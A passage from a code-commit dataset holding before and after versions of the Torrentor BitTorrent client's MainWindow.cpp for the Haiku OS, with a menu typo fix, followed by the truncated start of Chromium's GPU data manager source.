B_SIZE_UNSET));\n\/\/\/\tfStatusText->SetExplicitMinSize(BSize(150, 12));\n\n\t\n\tAddChild(BGroupLayoutBuilder(B_VERTICAL, 0.0)\n\t\t.Add(fMenuBar)\n\t\t.Add(fDownloadView->ScrollView())\n\/*\n\t\t.Add(new BSeparatorView(B_HORIZONTAL, B_PLAIN_BORDER))\n\t\t.Add(BGroupLayoutBuilder(B_HORIZONTAL, spacing)\n\t\t\t.AddGlue()\n\t\t\t.Add(fRemoveMissingButton)\n\t\t\t.Add(fRemoveFinishedButton)\n\t\t\t.SetInsets(12, 5, 12, 5)\n\t\t)*\/\n\t);\n\n\n\t\/\/\n\t\/\/\n\t\/\/\n\tfOpenPanel = new BFilePanel(B_OPEN_PANEL, NULL, NULL, B_FILE_NODE, true, NULL, \n\t\t\t\t\t\t\t\tnew TorrentRefFilter);\n\t\t\t\t\t\t\t\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tfPreferencesWindow = new PreferencesWindow();\n\n\n\n\n\t\/\/\n\tCenterOnScreen();\n}\n\nMainWindow::~MainWindow()\n{\n\tfPreferencesWindow->Lock();\n\tfPreferencesWindow->QuitRequested();\n\tfPreferencesWindow->Quit();\n\t\n\tdelete fPreferencesWindow;\n\tdelete fOpenPanel;\n}\n\nvoid MainWindow::InitWindow()\n{\n}\n\n\/\/\n\/\/\tFile ->\n\/\/\t\t\t- Open Torrent\n\/\/\t\t\t- Open From URL\n\/\/\t\t\t---------------\n\/\/\t\t\t- Pause all torrents\n\/\/\t\t\t- Resume all torrents\n\/\/\t\t\t---------------\n\/\/\t\t\tQuit\n\/\/\t---------------------------------\n\/\/\tEdit ->\n\/\/\t\t\t-\n\/\/\n\/\/\t---------------------------------\n\/\/\nvoid MainWindow::CreateMenuBar()\n{\n\t\/\/\n\t\/\/\n\t\/\/\n\tfMenuBar = new BMenuBar(BRect(0, 0, 0, 0), \"MainMenuBar\");\n\t\n\tBMenu* menu = new BMenu(\"File\");\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\t\/\/menu->AddItem(new BMenuItem(\"New Torrent\", NULL));\n\tmenu->AddItem(new BMenuItem(\"Open Torrent\", new BMessage(MENU_FILE_OPEN_TORRENT)));\n\tmenu->AddItem(new BMenuItem(\"Opem From Magnet\", new BMessage(MENU_FILE_OPEN_TORRENT_URL)));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Start All Torrents\", NULL));\n\tmenu->AddItem(new BMenuItem(\"Pause All Torrent\", NULL));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Quit\", new BMessage(B_QUIT_REQUESTED)));\n\t\n\t\/\/menu->AddItem(new BMenuItem(\"Open\" B_UTF8_ELLIPSIS, new BMessage(MENU_FILE_OPEN), 'O'));\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tfMenuBar->AddItem(menu);\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"Edit\");\n\tmenu->AddItem(new BMenuItem(\"Select All\", NULL));\n\tmenu->AddItem(new BMenuItem(\"Deselect All\", NULL));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Preferences\", new BMessage(MENU_EDIT_PREFERENCES)));\n\/*\n\t\/\/\n\t\/\/\n\t\/\/\n\tBMenuItem* item = new BMenuItem(\"Preferences\", new BMessage(MENU_EDIT_PREFERENCES));\n\t\n\titem->SetTarget(be_app);\n\t\n\tmenu->AddItem(item);\n*\/\n\tfMenuBar->AddItem(menu);\n\t\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"Torrent\");\n\tmenu->AddItem(new BMenuItem(\"Inspect\", new BMessage(MENU_TORRENT_INSPECT)));\n\tmenu->AddItem(new BMenuItem(\"Open download folder\", new BMessage(MENU_TORRENT_OPEN_DOWNLOAD)));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Remove\", new BMessage(MENU_TORRENT_REMOVE)));\n\t\/\/menu->AddItem(new BMenuItem(\"Select All\", NULL));\n\t\n\tfMenuBar->AddItem(menu);\n\t\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"View\");\n\t\n\t\n\tfMenuBar->AddItem(menu);\n\t\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"Help\");\n\t\n\t\n\tfMenuBar->AddItem(menu);\n}\n\n\n\n\n\n\nvoid MainWindow::MessageReceived(BMessage* message)\n{\n\tswitch( message->what )\n\t{\n\tcase MENU_FILE_OPEN_TORRENT:\n\t\tfOpenPanel->Show();\n\t\tbreak;\n\tcase MENU_FILE_OPEN_TORRENT_URL:\n\t\tbe_app->PostMessage(MSG_OPEN_MAGNET_REQUEST);\n\t\tbreak;\n\tcase MENU_EDIT_PREFERENCES:\n\t\tOpenPreferencesWindow();\n\t\tbreak;\n\tcase MENU_TORRENT_INSPECT:\n\t\tOnTorrentInspect();\n\t\tbreak;\n\tcase MENU_TORRENT_OPEN_DOWNLOAD:\n\t\tOpenTorrentDownloadFolder();\n\t\tbreak;\n\tcase MENU_TORRENT_REMOVE:\n\t\tOnMenuTorrentRemove();\n\t\tbreak;\n\tdefault:\n\t\tBWindow::MessageReceived(message);\n\t\tbreak;\n\t}\n}\n\nbool MainWindow::QuitRequested()\n{\n\tbe_app->PostMessage(B_QUIT_REQUESTED);\n\treturn(true);\n}\n\n\nvoid MainWindow::OnTorrentInspect()\n{\n\t\n\tif( const DownloadItem* item = fDownloadView->ItemSelected() )\n\t{\n\t\t\/\/\n\t\t\/\/ Get the torrent object.\n\t\t\/\/\t\n\t\tconst TorrentObject* torrent = item->GetTorrentObject();\n\t\n\t\t\/\/\n\t\t\/\/ @TODO: check if inspect window is already created.\n\t\t\/\/\n\t\tInfoWindow* window = new InfoWindow(torrent);\n\t\n\t\twindow->Show();\n\t}\n}\n\n\nvoid MainWindow::OpenPreferencesWindow()\n{\n\/\/\tBAutolock _Lock(fPreferencesWindow);\n\t\n\t\n\tif (fPreferencesWindow->IsHidden())\n\t\tfPreferencesWindow->Show();\n\telse\n\t\tfPreferencesWindow->Activate();\n}\n\n\nvoid MainWindow::OpenTorrentDownloadFolder()\n{\n\t\n\tentry_ref ref;\n\t\n\t\n\tif( const DownloadItem* item = fDownloadView->ItemSelected() )\n\t{\n\t\t\/\/\n\t\t\/\/ Get the torrent object.\n\t\t\/\/\t\n\t\tconst TorrentObject* torrent = item->GetTorrentObject();\n\n\t\n\t\t\/\/\n\t\t\/\/ Build the download path.\n\t\t\/\/\n\t\tBString DownloadPath = torrent->DownloadFolder();\n\t\t\n\t\t\/\/\n\t\t\/\/\n\t\t\/\/\n\t\tif( torrent->IsFolder() )\n\t\t{\n\t\t\tBString FolderName = torrent->Info()->files[ 0 ].name;\n\t\t\t\n\t\t\tFolderName.Truncate(FolderName.FindFirst('\/'));\n\t\t\t\n\t\t\tDownloadPath << \"\/\" << FolderName;\n\t\t}\n\t\n\t\tstatus_t status = get_ref_for_path(DownloadPath.String(), &ref);\n\t\tif (status == B_OK)\n\t\t\tstatus = be_roster->Launch(&ref);\n\t}\n\n\/*const char* kTrackerSignature = \"application\/x-vnd.Be-TRAK\";\n\n\tif( const DownloadItem* item = fDownloadView->ItemSelected() )\n\t{\n\t\tconst TorrentObject* torrent = item->GetTorrentObject();\n\n\t\t\t\n\t\tentry_ref ref;\n\t\tstatus_t status = get_ref_for_path(torrent->GetDownloadDir(), &ref);\n\t\t\n\n\t\t\n\t\tif( status == B_OK )\n\t\t{\n\t\t\tBMessage message(B_REFS_RECEIVED);\n\t\t\tmessage.AddRef(\"refs\", &ref);\n\n\t\t\tBMessenger messenger(kTrackerSignature);\n\t\t\tmessenger.SendMessage(&message);\n\t\n\t\t}\n\t}\n*\/\n}\n\n\nvoid MainWindow::OnMenuTorrentRemove()\n{\n\t\/\/\n\t\/\/\n\t\/\/\n\tif( const DownloadItem* selectedItem = fDownloadView->ItemSelected() )\n\t{\n\t\t\/\/\n\t\t\/\/ Ask if the user want to delete local data or the torrent only.\n\t\t\/\/\n\t\tBAlert* alert = new BAlert(\"Remove torrent\", \"Remove the selected torrent?\",\n    \t\t\t\t\t\t\"Cancel\", \"Remove torrent only\", \"Remove with data\",\n    \t\t\t\t\t\tB_WIDTH_AS_USUAL, B_OFFSET_SPACING, B_WARNING_ALERT);\n    \t\t\t\t\t\t\n    \tint32 buttonIndex \t= alert->Go();\n    \tbool removeData \t= buttonIndex == 2;\n\t\t\n\t\t\/\/\n\t\t\/\/ Return if the user press cancel.\n\t\t\/\/\n\t\tif( buttonIndex == 0 )\n\t\t\treturn;\n\t\t\t\n\t\t\/\/\n\t\t\/\/\n\t\t\/\/\n\t\tfDownloadView->RemoveItem(selectedItem);\n\t\t\t\n\t\t\/\/\n\t\t\/\/\n\t\t\/\/\n\t\tselectedItem->GetTorrentObject()->Remove(removeData);\n\t}\n}\n\nvoid MainWindow::Update()\n{\n\/\/\tif( fListView->LockLooper() ) \n\/\/\t{\n\/\/\t\tfListView->Invalidate();\n\/\/\t\tfListView->UnlockLooper();\n\/\/\t}\n}\n\n\nvoid MainWindow::AddTorrent(TorrentObject* torrentObject)\n{\n\ttorrentObject->Update();\n\t\n\t\/\/\n\t\/\/ @TODO: fDownloadView->AddItem(torrentObject);\n\t\/\/\n\tfDownloadView->AddItem(torrentObject);\n}\n<commit_msg>Typo in File menu<commit_after>\/\/------------------------------------------------------------------------------\n\/\/\tCopyright (c) 2012, Guido Pola.\n\/\/\n\/\/\tPermission is hereby granted, free of charge, to any person obtaining a\n\/\/\tcopy of this software and associated documentation files (the \"Software\"),\n\/\/\tto deal in the Software without restriction, including without limitation\n\/\/\tthe rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/\tand\/or sell copies of the Software, and to permit persons to whom the\n\/\/\tSoftware is furnished to do so, subject to the following conditions:\n\/\/\n\/\/\tThe above copyright notice and this permission notice shall be included in\n\/\/\tall copies or substantial portions of the Software.\n\/\/\n\/\/\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/\tIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/\tFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/\tAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/\tLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/\tDEALINGS IN THE SOFTWARE.\n\/\/\n\/\/\tFile Name:\t\tMainWindow.cpp\n\/\/\tAuthors:\t\tGuido Pola <prodito@live.com>\n\/\/\tDescription:\t\n\/\/------------------------------------------------------------------------------\n\n\n#include \"Torrentor.h\"\n#include \"TorrentorMessages.h\"\n\n#include <Autolock.h>\n#include <Application.h>\n#include <MenuBar.h>\n#include <Menu.h>\n#include <MenuItem.h>\n\n#include <StatusBar.h>\n#include <StringView.h>\n#include <ScrollView.h>\n\n#include <Notification.h>\n#include <Roster.h>\n\n#include <ListView.h>\n#include <ListItem.h>\n\n#include <assert.h>\n\n#include \"MainWindow.h\"\n\n\n#include \"ToolBar.h\"\n\n#include <GroupLayout.h>\n#include <GroupLayoutBuilder.h>\n\n#include <ControlLook.h>\n\n\n#include \"TorrentRefFilter.h\"\n\n#include <SpaceLayoutItem.h>\n\n#include \"IconView.h\"\n#include \"DownloadView.h\"\n#include \"DownloadItem.h\"\n\n#include \"InfoWindow.h\"\n\n\n#include \"PreferencesWindow.h\"\n\n#include <Alert.h>\n\n\nenum \n{\n\tMENU_FILE_OPEN_TORRENT\t\t= 0x400000,\n\tMENU_FILE_OPEN_TORRENT_URL,\n\tMENU_EDIT_PREFERENCES,\n\tMENU_TORRENT_INSPECT,\n\tMENU_TORRENT_OPEN_DOWNLOAD,\n\tMENU_TORRENT_REMOVE,\n};\n\n\n\n\n\n\nMainWindow::MainWindow(BRect frame) \n\t: BWindow(frame, \"Torrentor!\", B_DOCUMENT_WINDOW, \n\t\t\t  B_AUTO_UPDATE_SIZE_LIMITS |\n\t\t\t  B_ASYNCHRONOUS_CONTROLS | \n\t\t\t  B_NOT_ZOOMABLE )\n{\n\tSetPulseRate(1000000);\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tSetLayout(new BGroupLayout(B_VERTICAL, 0.0));\n\t\n\tCreateMenuBar();\n\t\n\t\n\tfDownloadView \t= new DownloadView;\n\t\n\t\n\/\/\tBStringView* fStatusText = new BStringView(\"status\", \"Laralala\");\n\/\/\tfStatusText->SetAlignment(B_ALIGN_LEFT);\n\/\/\tfStatusText->SetExplicitMaxSize(BSize(B_SIZE_UNLIMITED, B_SIZE_UNSET));\n\/\/\/\tfStatusText->SetExplicitMinSize(BSize(150, 12));\n\n\t\n\tAddChild(BGroupLayoutBuilder(B_VERTICAL, 0.0)\n\t\t.Add(fMenuBar)\n\t\t.Add(fDownloadView->ScrollView())\n\/*\n\t\t.Add(new BSeparatorView(B_HORIZONTAL, B_PLAIN_BORDER))\n\t\t.Add(BGroupLayoutBuilder(B_HORIZONTAL, spacing)\n\t\t\t.AddGlue()\n\t\t\t.Add(fRemoveMissingButton)\n\t\t\t.Add(fRemoveFinishedButton)\n\t\t\t.SetInsets(12, 5, 12, 5)\n\t\t)*\/\n\t);\n\n\n\t\/\/\n\t\/\/\n\t\/\/\n\tfOpenPanel = new BFilePanel(B_OPEN_PANEL, NULL, NULL, B_FILE_NODE, true, NULL, \n\t\t\t\t\t\t\t\tnew TorrentRefFilter);\n\t\t\t\t\t\t\t\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tfPreferencesWindow = new PreferencesWindow();\n\n\n\n\n\t\/\/\n\tCenterOnScreen();\n}\n\nMainWindow::~MainWindow()\n{\n\tfPreferencesWindow->Lock();\n\tfPreferencesWindow->QuitRequested();\n\tfPreferencesWindow->Quit();\n\t\n\tdelete fPreferencesWindow;\n\tdelete fOpenPanel;\n}\n\nvoid MainWindow::InitWindow()\n{\n}\n\n\/\/\n\/\/\tFile ->\n\/\/\t\t\t- Open Torrent\n\/\/\t\t\t- Open From URL\n\/\/\t\t\t---------------\n\/\/\t\t\t- Pause all torrents\n\/\/\t\t\t- Resume all torrents\n\/\/\t\t\t---------------\n\/\/\t\t\tQuit\n\/\/\t---------------------------------\n\/\/\tEdit ->\n\/\/\t\t\t-\n\/\/\n\/\/\t---------------------------------\n\/\/\nvoid MainWindow::CreateMenuBar()\n{\n\t\/\/\n\t\/\/\n\t\/\/\n\tfMenuBar = new BMenuBar(BRect(0, 0, 0, 0), \"MainMenuBar\");\n\t\n\tBMenu* menu = new BMenu(\"File\");\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\t\/\/menu->AddItem(new BMenuItem(\"New Torrent\", NULL));\n\tmenu->AddItem(new BMenuItem(\"Open Torrent\", new BMessage(MENU_FILE_OPEN_TORRENT)));\n\tmenu->AddItem(new BMenuItem(\"Open From Magnet\", new BMessage(MENU_FILE_OPEN_TORRENT_URL)));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Start All Torrents\", NULL));\n\tmenu->AddItem(new BMenuItem(\"Pause All Torrent\", NULL));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Quit\", new BMessage(B_QUIT_REQUESTED)));\n\t\n\t\/\/menu->AddItem(new BMenuItem(\"Open\" B_UTF8_ELLIPSIS, new BMessage(MENU_FILE_OPEN), 'O'));\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tfMenuBar->AddItem(menu);\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"Edit\");\n\tmenu->AddItem(new BMenuItem(\"Select All\", NULL));\n\tmenu->AddItem(new BMenuItem(\"Deselect All\", NULL));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Preferences\", new BMessage(MENU_EDIT_PREFERENCES)));\n\/*\n\t\/\/\n\t\/\/\n\t\/\/\n\tBMenuItem* item = new BMenuItem(\"Preferences\", new BMessage(MENU_EDIT_PREFERENCES));\n\t\n\titem->SetTarget(be_app);\n\t\n\tmenu->AddItem(item);\n*\/\n\tfMenuBar->AddItem(menu);\n\t\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"Torrent\");\n\tmenu->AddItem(new BMenuItem(\"Inspect\", new BMessage(MENU_TORRENT_INSPECT)));\n\tmenu->AddItem(new BMenuItem(\"Open download folder\", new BMessage(MENU_TORRENT_OPEN_DOWNLOAD)));\n\tmenu->AddItem(new BSeparatorItem);\n\tmenu->AddItem(new BMenuItem(\"Remove\", new BMessage(MENU_TORRENT_REMOVE)));\n\t\/\/menu->AddItem(new BMenuItem(\"Select All\", NULL));\n\t\n\tfMenuBar->AddItem(menu);\n\t\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"View\");\n\t\n\t\n\tfMenuBar->AddItem(menu);\n\t\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tmenu = new BMenu(\"Help\");\n\t\n\t\n\tfMenuBar->AddItem(menu);\n}\n\n\n\n\n\n\nvoid MainWindow::MessageReceived(BMessage* message)\n{\n\tswitch( message->what )\n\t{\n\tcase MENU_FILE_OPEN_TORRENT:\n\t\tfOpenPanel->Show();\n\t\tbreak;\n\tcase MENU_FILE_OPEN_TORRENT_URL:\n\t\tbe_app->PostMessage(MSG_OPEN_MAGNET_REQUEST);\n\t\tbreak;\n\tcase MENU_EDIT_PREFERENCES:\n\t\tOpenPreferencesWindow();\n\t\tbreak;\n\tcase MENU_TORRENT_INSPECT:\n\t\tOnTorrentInspect();\n\t\tbreak;\n\tcase MENU_TORRENT_OPEN_DOWNLOAD:\n\t\tOpenTorrentDownloadFolder();\n\t\tbreak;\n\tcase MENU_TORRENT_REMOVE:\n\t\tOnMenuTorrentRemove();\n\t\tbreak;\n\tdefault:\n\t\tBWindow::MessageReceived(message);\n\t\tbreak;\n\t}\n}\n\nbool MainWindow::QuitRequested()\n{\n\tbe_app->PostMessage(B_QUIT_REQUESTED);\n\treturn(true);\n}\n\n\nvoid MainWindow::OnTorrentInspect()\n{\n\t\n\tif( const DownloadItem* item = fDownloadView->ItemSelected() )\n\t{\n\t\t\/\/\n\t\t\/\/ Get the torrent object.\n\t\t\/\/\t\n\t\tconst TorrentObject* torrent = item->GetTorrentObject();\n\t\n\t\t\/\/\n\t\t\/\/ @TODO: check if inspect window is already created.\n\t\t\/\/\n\t\tInfoWindow* window = new InfoWindow(torrent);\n\t\n\t\twindow->Show();\n\t}\n}\n\n\nvoid MainWindow::OpenPreferencesWindow()\n{\n\/\/\tBAutolock _Lock(fPreferencesWindow);\n\t\n\t\n\tif (fPreferencesWindow->IsHidden())\n\t\tfPreferencesWindow->Show();\n\telse\n\t\tfPreferencesWindow->Activate();\n}\n\n\nvoid MainWindow::OpenTorrentDownloadFolder()\n{\n\t\n\tentry_ref ref;\n\t\n\t\n\tif( const DownloadItem* item = fDownloadView->ItemSelected() )\n\t{\n\t\t\/\/\n\t\t\/\/ Get the torrent object.\n\t\t\/\/\t\n\t\tconst TorrentObject* torrent = item->GetTorrentObject();\n\n\t\n\t\t\/\/\n\t\t\/\/ Build the download path.\n\t\t\/\/\n\t\tBString DownloadPath = torrent->DownloadFolder();\n\t\t\n\t\t\/\/\n\t\t\/\/\n\t\t\/\/\n\t\tif( torrent->IsFolder() )\n\t\t{\n\t\t\tBString FolderName = torrent->Info()->files[ 0 ].name;\n\t\t\t\n\t\t\tFolderName.Truncate(FolderName.FindFirst('\/'));\n\t\t\t\n\t\t\tDownloadPath << \"\/\" << FolderName;\n\t\t}\n\t\n\t\tstatus_t status = get_ref_for_path(DownloadPath.String(), &ref);\n\t\tif (status == B_OK)\n\t\t\tstatus = be_roster->Launch(&ref);\n\t}\n\n\/*const char* kTrackerSignature = \"application\/x-vnd.Be-TRAK\";\n\n\tif( const DownloadItem* item = fDownloadView->ItemSelected() )\n\t{\n\t\tconst TorrentObject* torrent = item->GetTorrentObject();\n\n\t\t\t\n\t\tentry_ref ref;\n\t\tstatus_t status = get_ref_for_path(torrent->GetDownloadDir(), &ref);\n\t\t\n\n\t\t\n\t\tif( status == B_OK )\n\t\t{\n\t\t\tBMessage message(B_REFS_RECEIVED);\n\t\t\tmessage.AddRef(\"refs\", &ref);\n\n\t\t\tBMessenger messenger(kTrackerSignature);\n\t\t\tmessenger.SendMessage(&message);\n\t\n\t\t}\n\t}\n*\/\n}\n\n\nvoid MainWindow::OnMenuTorrentRemove()\n{\n\t\/\/\n\t\/\/\n\t\/\/\n\tif( const DownloadItem* selectedItem = fDownloadView->ItemSelected() )\n\t{\n\t\t\/\/\n\t\t\/\/ Ask if the user want to delete local data or the torrent only.\n\t\t\/\/\n\t\tBAlert* alert = new BAlert(\"Remove torrent\", \"Remove the selected torrent?\",\n    \t\t\t\t\t\t\"Cancel\", \"Remove torrent only\", \"Remove with data\",\n    \t\t\t\t\t\tB_WIDTH_AS_USUAL, B_OFFSET_SPACING, B_WARNING_ALERT);\n    \t\t\t\t\t\t\n    \tint32 buttonIndex \t= alert->Go();\n    \tbool removeData \t= buttonIndex == 2;\n\t\t\n\t\t\/\/\n\t\t\/\/ Return if the user press cancel.\n\t\t\/\/\n\t\tif( buttonIndex == 0 )\n\t\t\treturn;\n\t\t\t\n\t\t\/\/\n\t\t\/\/\n\t\t\/\/\n\t\tfDownloadView->RemoveItem(selectedItem);\n\t\t\t\n\t\t\/\/\n\t\t\/\/\n\t\t\/\/\n\t\tselectedItem->GetTorrentObject()->Remove(removeData);\n\t}\n}\n\nvoid MainWindow::Update()\n{\n\/\/\tif( fListView->LockLooper() ) \n\/\/\t{\n\/\/\t\tfListView->Invalidate();\n\/\/\t\tfListView->UnlockLooper();\n\/\/\t}\n}\n\n\nvoid MainWindow::AddTorrent(TorrentObject* torrentObject)\n{\n\ttorrentObject->Update();\n\t\n\t\/\/\n\t\/\/ @TODO: fDownloadView->AddItem(torrentObject);\n\t\/\/\n\tfDownloadView->AddItem(torrentObject);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/gpu\/gpu_data_manager_impl.h\"\n\n#if defined(OS_MACOSX)\n#include <CoreGraphics\/CGDisplayConfiguration.h>\n#endif\n\n#include \"base\/bind.h\"\n#include \"base\/bind_helpers.h\"\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/sys_info.h\"\n#include \"base\/values.h\"\n#include \"base\/version.h\"\n#include \"content\/browser\/gpu\/gpu_process_host.h\"\n#include \"content\/common\/gpu\/gpu_messages.h\"\n#include \"content\/gpu\/gpu_info_collector.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/gpu_data_manager_observer.h\"\n#include \"content\/public\/common\/content_client.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"ui\/gfx\/gl\/gl_implementation.h\"\n#include \"ui\/gfx\/gl\/gl_switches.h\"\n#include \"webkit\/plugins\/plugin_switches.h\"\n\nusing content::BrowserThread;\nusing content::GpuDataManagerObserver;\nusing content::GpuFeatureType;\n\nnamespace {\n\n#if defined(OS_MACOSX)\nvoid DisplayReconfigCallback(CGDirectDisplayID display,\n                             CGDisplayChangeSummaryFlags flags,\n                             void* gpu_data_manager) {\n  \/\/ TODO(zmo): this logging is temporary for crbug 88008 and will be removed.\n  LOG(INFO) << \"Display re-configuration: flags = 0x\"\n            << base::StringPrintf(\"%04x\", flags);\n  if (flags & kCGDisplayAddFlag) {\n    GpuDataManagerImpl* manager =\n        reinterpret_cast<GpuDataManagerImpl*>(gpu_data_manager);\n    DCHECK(manager);\n    manager->HandleGpuSwitch();\n  }\n}\n#endif\n\n}  \/\/ namespace anonymous\n\n\/\/ static\ncontent::GpuDataManager* content::GpuDataManager::GetInstance() {\n  return GpuDataManagerImpl::GetInstance();\n}\n\n\/\/ static\nGpuDataManagerImpl* GpuDataManagerImpl::GetInstance() {\n  return Singleton<GpuDataManagerImpl>::get();\n}\n\nGpuDataManagerImpl::GpuDataManagerImpl()\n    : complete_gpu_info_already_requested_(false),\n      complete_gpu_info_available_(false),\n      gpu_feature_type_(content::GPU_FEATURE_TYPE_UNKNOWN),\n      preliminary_gpu_feature_type_(content::GPU_FEATURE_TYPE_UNKNOWN),\n      observer_list_(new GpuDataManagerObserverList),\n      software_rendering_(false),\n      card_blacklisted_(false) {\n  Initialize();\n}\n\nvoid GpuDataManagerImpl::Initialize() {\n  CommandLine* command_line = CommandLine::ForCurrentProcess();\n  if (command_line->HasSwitch(switches::kDisableAcceleratedCompositing)) {\n    command_line->AppendSwitch(switches::kDisableAccelerated2dCanvas);\n    command_line->AppendSwitch(switches::kDisableAcceleratedLayers);\n  }\n\n  if (!command_line->HasSwitch(switches::kSkipGpuDataLoading)) {\n    content::GPUInfo gpu_info;\n    gpu_info_collector::CollectPreliminaryGraphicsInfo(&gpu_info);\n    {\n      base::AutoLock auto_lock(gpu_info_lock_);\n      gpu_info_ = gpu_info;\n    }\n  }\n\n#if defined(OS_MACOSX)\n  CGDisplayRegisterReconfigurationCallback(DisplayReconfigCallback, this);\n#endif\n}\n\nGpuDataManagerImpl::~GpuDataManagerImpl() {\n#if defined(OS_MACOSX)\n  CGDisplayRemoveReconfigurationCallback(DisplayReconfigCallback, this);\n#endif\n}\n\nvoid GpuDataManagerImpl::RequestCompleteGpuInfoIfNeeded() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  if (complete_gpu_info_already_requested_ || complete_gpu_info_available_)\n    return;\n  complete_gpu_info_already_requested_ = true;\n\n  GpuProcessHost::SendOnIO(\n      GpuProcessHost::GPU_PROCESS_KIND_UNSANDBOXED,\n      content::CAUSE_FOR_GPU_LAUNCH_GPUDATAMANAGER_REQUESTCOMPLETEGPUINFOIFNEEDED,\n      new GpuMsg_CollectGraphicsInfo());\n}\n\nbool GpuDataManagerImpl::IsCompleteGPUInfoAvailable() const {\n  return complete_gpu_info_available_;\n}\n\nvoid GpuDataManagerImpl::UpdateGpuInfo(const content::GPUInfo& gpu_info) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  complete_gpu_info_available_ =\n      complete_gpu_info_available_ || gpu_info.finalized;\n  complete_gpu_info_already_requested_ =\n      complete_gpu_info_already_requested_ || gpu_info.finalized;\n  {\n    base::AutoLock auto_lock(gpu_info_lock_);\n    if (!Merge(&gpu_info_, gpu_info))\n      return;\n    content::GetContentClient()->SetGpuInfo(gpu_info_);\n  }\n\n  \/\/ We have to update GpuFeatureType before notify all the observers.\n  NotifyGpuInfoUpdate();\n}\n\ncontent::GPUInfo GpuDataManagerImpl::GetGPUInfo() const {\n  return gpu_info_;\n}\n\nvoid GpuDataManagerImpl::AddLogMessage(Value* msg) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  log_messages_.Append(msg);\n}\n\nGpuFeatureType GpuDataManagerImpl::GetGpuFeatureType() {\n  if (software_rendering_) {\n    GpuFeatureType flags;\n\n    \/\/ Skia's software rendering is probably more efficient than going through\n    \/\/ software emulation of the GPU, so use that.\n    flags = content::GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS;\n    return flags;\n  }\n\n  return gpu_feature_type_;\n}\n\nbool GpuDataManagerImpl::GpuAccessAllowed() {\n  if (software_rendering_)\n    return true;\n\n  \/\/ We only need to block GPU process if more features are disallowed other\n  \/\/ than those in the preliminary gpu feature flags because the latter work\n  \/\/ through renderer commandline switches.\n  uint32 mask = ~(preliminary_gpu_feature_type_);\n  return (gpu_feature_type_ & mask) == 0;\n}\n\nvoid GpuDataManagerImpl::AddObserver(GpuDataManagerObserver* observer) {\n  observer_list_->AddObserver(observer);\n}\n\nvoid GpuDataManagerImpl::RemoveObserver(GpuDataManagerObserver* observer) {\n  observer_list_->RemoveObserver(observer);\n}\n\nvoid GpuDataManagerImpl::AppendRendererCommandLine(\n    CommandLine* command_line) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  DCHECK(command_line);\n\n  uint32 flags = GetGpuFeatureType();\n  if ((flags & content::GPU_FEATURE_TYPE_WEBGL)) {\n    if (!command_line->HasSwitch(switches::kDisableExperimentalWebGL))\n      command_line->AppendSwitch(switches::kDisableExperimentalWebGL);\n    if (!command_line->HasSwitch(switches::kDisablePepper3dForUntrustedUse))\n      command_line->AppendSwitch(switches::kDisablePepper3dForUntrustedUse);\n  }\n  if ((flags & content::GPU_FEATURE_TYPE_MULTISAMPLING) &&\n      !command_line->HasSwitch(switches::kDisableGLMultisampling))\n    command_line->AppendSwitch(switches::kDisableGLMultisampling);\n  if ((flags & content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING) &&\n      !command_line->HasSwitch(switches::kDisableAcceleratedCompositing))\n    command_line->AppendSwitch(switches::kDisableAcceleratedCompositing);\n  if ((flags & content::GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS) &&\n      !command_line->HasSwitch(switches::kDisableAccelerated2dCanvas))\n    